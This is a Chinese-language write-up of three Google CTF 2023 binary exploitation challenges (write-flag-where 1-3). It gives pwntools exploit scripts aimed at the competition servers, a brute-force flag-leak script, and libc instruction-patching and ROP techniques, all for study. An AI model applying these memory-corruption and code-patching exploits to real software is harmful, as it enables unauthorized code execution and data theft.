2023 googlectf pwn

WRITE-FLAG-WHERE

本地调试的话Maximum number of open file descriptors最高到1024,所以把dup2 patch为小于1024的值或者修改/etc/security/limits.conf把限制调高

grxer@Ubuntu22 ~> ulimit -a
Maximum size of core files created (kB, -c) 0
Maximum size of a process’s data segment (kB, -d) unlimited
Maximum size of files created by the shell (kB, -f) unlimited
Maximum size that may be locked into memory (kB, -l) 628848
Maximum resident set size (kB, -m) unlimited
Maximum number of open file descriptors (-n) 1024
Maximum stack size (kB, -s) 8192
Maximum amount of cpu time in seconds (seconds, -t) unlimited
Maximum number of processes available to a single user (-u) 19340
Maximum amount of virtual memory available to the shell (kB, -v) unlimited

把下面丢弃流给nop掉

v8 = open("/dev/null", 2);
dup2(v8, 0);
dup2(v8, 1);
dup2(v8, 2);
close(v8);

/dev/null 是 Unix-like 操作系统中的一个特殊文件,用作数据的位桶或黑洞。它通常被称为 “null 设备”,因为写入到它的任何数据都会被丢弃,不会产生任何影响。

程序给了进程的maps和往进程任意地址写flag的机会,所以只需要改下某位置可以让flag输出即可

把while循环里的dprintf的地址写入flag即可

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
# sh = remote('wfw1.2023.ctfcompetition.com', 1337)
sh=process('./chal_patch')
gdb.attach(sh)
sh.recvuntil(b'have a shot.\n')
image_addr = int(sh.recvuntil(b'-', drop=True), 16)
success('image_addr: ' + hex(image_addr))
print('0x%lx %u' % (image_addr+0x21e0, 80))
sh.sendline(('0x%lx %u' % (image_addr+0x21e0, 80)).encode())
sh.interactive()

WRITE-FLAG-WHERE2

逻辑差不多只是dprintf跑到了exit的下面

.text:0000000000001440 E8 8B FC FF FF                call    _exit
.text:0000000000001440
.text:0000000000001445 ; ---------------------------------------------------------------------------
.text:0000000000001445 8B 45 F4 mov eax, [rbp+var_C]
.text:0000000000001448 48 8D 15 86 0C 00 00 lea rdx, aSomehowYouGotH ; "Somehow you got here??\n"
.text:000000000000144F 48 89 D6 mov rsi, rdx ; fmt
.text:0000000000001452 89 C7 mov edi, eax ; fd
.text:0000000000001454 B8 00 00 00 00 mov eax, 0
.text:0000000000001459 E8 32 FC FF FF call _dprintf
.text:0000000000001459
.text:000000000000145E E8 CD FB FF FF call _abort

我们可以利用flag的格式是CTF{}

>>> hex(ord('C'))
'0x43'
>>> hex(ord('T'))
'0x54'
>>> hex(ord('F'))
'0x46'
>>> hex(ord('{'))
'0x7b'
>>> hex(ord('}'))
'0x7d'
54(T)    push rsp 
43 54(CT) push r12

可以利用push指令改写跳过exit,从后往前写CT,用前一个T覆盖后一个C,即为CTTTT,再改写输出flag即可

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
io = remote('wfw2.2023.ctfcompetition.com', 1337)
# io=process('./chal_patch')
# gdb.attach(io)
io.recvuntil(b' the fluff\n')
image_addr = int(io.recvuntil(b'-', drop=True), 16)
success('image_addr: ' + hex(image_addr))
io.recvuntil(b'[vsyscall]\n')
sleep(0.5)
for i in range(4):
io.sendline(('0x%lx %u'%(image_addr+0x1443-i,2)).encode())
sleep(1)
io.sendline(('0x%lx %u' % (image_addr+0x20D5, 80)).encode())
io.sendline('grxer')
io.interactive()

从c0ke师傅周报那里偷学了一手爆破

思路就是修改if ( (unsigned int)__isoc99_sscanf(buf, "0x%llx %u", &n[1], n) != 2 || n[0] > 0x7Fu )中0x%llx %u的0为flag中的一位值,下一次输入时以猜测的flag值+x%llx %u的格式来发送数据,如果不是正确的数据就会无法解析数据 (unsigned int)__isoc99_sscanf(buf, “0x%llx %u”, &n[1], n) != 2程序退出,否则正常下一次读入

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
def leak(offset, chr):
sh = remote('wfw2.2023.ctfcompetition.com', 1337)
sh.recvuntil(b'fluff\n')
image_addr = int(sh.recvuntil(b'-', drop=True), 16)
sh.recvuntil(b'\n\n\n')
sh.send(('0x%lx %u\n' % (image_addr+0x20BC-offset, offset+1)).encode().ljust(0x40, b'0'))
sh.send(('%cx%lx %u\n' % (chr, image_addr, 0)).encode().ljust(0x40, b'0'))
try:
sh.recvn(1, timeout=1)
sh.close()
return True
except EOFError:
sh.close()
return False

table = '_{}?' + string.digits + string.ascii_lowercase + string.ascii_uppercase
flag = ''
while(True):
find = False
for chr in table:
if leak(len(flag), chr):
find = True
flag += chr
print(flag)
break
if not find:
print(flag)
break

WRITE-FLAG-WHERE3

多了改写位置的判断|| *(_QWORD *)&n[1] >= (unsigned __int64)main - 20480 && (unsigned __int64)main + 20480 >= *(_QWORD *)&n[1] )

不能是main-20480到main+20480之间,只能时libc和栈区

Ex师傅的思路就是改write的的第一个参数

.text:0000000000114A20
.text:0000000000114A20 fd= qword ptr -20h
.text:0000000000114A20 buf= qword ptr -18h
.text:0000000000114A20 count= qword ptr -10h
.text:0000000000114A20 F3 0F 1E FA endbr64 ; Alternative name is '__write'
.text:0000000000114A24 64 8B 04 25 18 00 00 00 mov eax, fs:18h
.text:0000000000114A2C 85 C0 test eax, eax
.text:0000000000114A2E 75 10 jnz short loc_114A40
.text:0000000000114A2E
.text:0000000000114A30 B8 01 00 00 00 mov eax, 1
.text:0000000000114A35 0F 05 syscall ; LINUX - sys_write
.text:0000000000114A37 48 3D 00 F0 FF FF cmp rax, 0FFFFFFFFFFFFF000h
.text:0000000000114A3D 77 51 ja short loc_114A90
.text:0000000000114A3D
.text:0000000000114A3F C3 retn
.text:0000000000114A3F
.text:0000000000114A40 ; ---------------------------------------------------------------------------
.text:0000000000114A40
.text:0000000000114A40 loc_114A40: ; CODE XREF: write+E↑j
.text:0000000000114A40 48 83 EC 28 sub rsp, 28h
.text:0000000000114A44 48 89 54 24 18 mov [rsp+28h+count], rdx
.text:0000000000114A49 48 89 74 24 10 mov [rsp+28h+buf], rsi
.text:0000000000114A4E 89 7C 24 08 mov dword ptr [rsp+28h+fd], edi
.text:0000000000114A52 E8 19 C0 F7 FF call sub_90A70
.text:0000000000114A52
.text:0000000000114A57 48 8B 54 24 18 mov rdx, [rsp+28h+count] ; count
.text:0000000000114A5C 48 8B 74 24 10 mov rsi, [rsp+28h+buf] ; buf
.text:0000000000114A61 41 89 C0 mov r8d, eax
.text:0000000000114A64 8B 7C 24 08 mov edi, dword ptr [rsp+28h+fd] ; fd
.text:0000000000114A68 B8 01 00 00 00 mov eax, 1
.text:0000000000114A6D 0F 05 syscall ; LINUX - sys_write
.text:0000000000114A6F 48 3D 00 F0 FF FF cmp rax, 0FFFFFFFFFFFFF000h
.text:0000000000114A75 77 31 ja short loc_114AA8
.text:0000000000114A75
.text:0000000000114A77
.text:0000000000114A77 loc_114A77: ; CODE XREF: write+9B↓j
.text:0000000000114A77 44 89 C7 mov edi, r8d

首先我们需要控制fs:18h不为0,但是我们又不能直接控制fs:18,我们只能填写0x43,有些系统调用在出错设置errno时会根据errno在got里的值将出错码写入fsbase+*errno_got的位置

所以可以故意调用出错控制fs:0x43位置的值不为0,然后 mov eax, fs:18h改为mov eax, fs:43h绕过

ida导出表里找到errno,再ctrl x找交叉引用就可以找到errno got表位置为0x218E10

参数就是从这里来的.text:0000000000114A64 8B 7C 24 08 mov edi, dword ptr [rsp+28h+fd]也就是rsp+8的位置

我们可以改为rsp+0x43,这样就可以提前用main函数里的 v7 = read(v8, buf, 0x40uLL);来布置好参数为我们想要的1337

直接贴一下Ex师傅的exp吧

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('wfw3.2023.ctfcompetition.com', 1337)
result = sh.recvuntil(b'.so').split(b'\n')[-1]
libc_addr = int(result[:12], 16)
success('libc_addr: ' + hex(libc_addr))
sh.recvuntil(b'\n\n\n')
#errnogot表里一般是0xffffffffffffff80,只能修改一个字节为C,所以先用0去填充
sh.send(('0x%lx %u\n' % (libc_addr + 0x218e10-0x70, 0x78)).encode().ljust(0x40, b'\0'))
sh.send(('0x%lx %u\n' % (libc_addr + 0x218e10, 1)).encode().ljust(0x40, b'\0'))

#让close系统调用号变为0x43,即shmdt,参数不合法会导致出错设置errno
sh.send(('0x%lx %u\n' % (libc_addr + 0x115110+1, 1)).encode().ljust(0x40, b'\0'))
#修改write的mov eax, fs:18h为mov eax, fs:43h
sh.send(('0x%lx %u\n' % (libc_addr + 0x114A28, 1)).encode().ljust(0x40, b'\0'))
#把write第一个参数改为esp+0x43
sh.send(('0x%lx %u\n' % (libc_addr + 0x114A67, 1)).encode().ljust(0x40, b'\0'))

sh.send(('0x%lx %u\n' % (0, 0x70)).encode().ljust(0x13, b'\0') + p32(1337))

sh.interactive()

另一种解法是利用指令前缀0x43来操作exit函数

REX前缀的值介于40h到4Fh之间,具体取值取决于所期望的特定的扩展寄存器的组合。一条指令只能有一个REX前缀,必须紧接在指令的第一个操作码字节之前。 REX前缀在其他任何位置都将被忽略。

.text:00000000000455F0                               ; __unwind {
.text:00000000000455F0 F3 0F 1E FA endbr64
.text:00000000000455F4 50 push rax
.text:00000000000455F5 58 pop rax
.text:00000000000455F6 B9 01 00 00 00 mov ecx, 1
.text:00000000000455FB BA 01 00 00 00 mov edx, 1
.text:0000000000045600 48 8D 35 31 42 1D 00 lea rsi, off_219838
.text:0000000000045607 48 83 EC 08 sub rsp, 8//可以改为 43 83 EC 08 sub r12d, 8
.text:000000000004560B E8 80 FD FF FF call sub_45390
.text:000000000004560B ; } // starts at 455F0//43 80 FD FF cmp r13b, 0xff
//最后一个ff改为指令前缀43
.text:000000000004560B
.text:000000000004560B exit endp
.text:000000000004560B
.text:0000000000045610
.text:0000000000045610 ; =============== S U B R O U T I N E =======================================
.text:0000000000045610
.text:0000000000045610
.text:0000000000045610 public on_exit ; weak
.text:0000000000045610 on_exit proc near ; DATA XREF: LOAD:000000000000B550↑o
.text:0000000000045610 ; __unwind {
.text:0000000000045610 F3 0F 1E FA endbr64//43434343
.text:0000000000045614 41 54 push r12
.text:0000000000045616 55 push rbp
.text:0000000000045617 53 push rbp// push rbp push rbp任意一个改为指令前缀
.text:0000000000045618 48 85 FF test rdi, rdi//434343
..........
.text:0000000000045679 loc_45679: ; CODE XREF: on_exit+8E↓j
.text:0000000000045679 ; on_exit+98↓j
.text:0000000000045679 44 89 E0 mov eax, r12d
.text:000000000004567C 5B pop rbx
.text:000000000004567D 5D pop rbp
.text:000000000004567E 41 5C pop r12
.text:0000000000045680 C3 retn

push rbp push rbp任意一个改为指令前缀都会导致后面多pop一个参数,retn时正好时我们main函数里输入buf的位置,可以结合基地址进行rop

参考链接

http://blog.xmcve.com/2023/06/26/Google-CTF-2023-Writeup/

https://zhuanlan.zhihu.com/p/639991243